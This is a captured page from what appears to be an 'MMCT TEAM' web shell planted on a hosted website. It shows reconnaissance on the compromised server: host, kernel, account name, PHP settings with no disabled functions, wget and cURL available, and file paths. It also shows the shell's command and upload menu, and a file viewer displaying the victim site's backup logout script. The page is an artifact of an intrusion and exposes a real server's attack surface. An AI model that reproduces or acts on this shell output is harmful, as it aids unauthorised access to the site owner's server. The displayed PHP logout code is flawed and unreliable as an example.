MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.138.123.118
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../logout_bkp_11Jun2023.php
<?php

    // First we execute our common code to connection to the database and start the session
    require("common.php");

    // If we want to keep some session information such as shopping cart contents,
    // we only remove the user's data from the session without unsetting remaining
    // session variables and without destroying the session.
    $redirect="school-login.php";
    if(isset($_SESSION['user']))
    {
        unset($_SESSION['user']);
        $redirect="school-login.php";
    }
    if(isset($_SESSION['Mng_User']))
    {
        unset($_SESSION['user']);
        $redirect="management-login.php";
    }
    // Otherwise, we unset all of the session variables.
    $_SESSION = array();
    //echo $_SESSION['code']."1";
    // If it's desired to kill the session, also delete the session cookie.
    // Note: This will destroy the session, and not just the session data!
    if (ini_get("session.use_cookies")) {
        $params = session_get_cookie_params();
        setcookie(session_name(), '', time() - 42000,
            $params["path"], $params["domain"],
            $params["secure"], $params["httponly"]
        );
    }
    $SchooldCodeNew=$_SESSION['code'];
    // Finally, destroy the session.
    session_destroy();
    session_start();
    // If strict types are enabled i.e. declare(strict_types=1);
$file = file_get_contents('dirroot.txt', true);
// Otherwise
$file = file_get_contents('dirroot.txt', FILE_USE_INCLUDE_PATH);
echo $_SESSION['code']."2";
echo $_SESSION['code']=$file;

    // Whether we destroy the session or not, we redirect them to the login page
    $_SESSION['MasterSchoolCode']=$SchooldCodeNew;
    //echo $_SESSION['code']; exit;
    header("Location: $redirect");
    die("Redirecting to: $redirect");

MMCT - 2023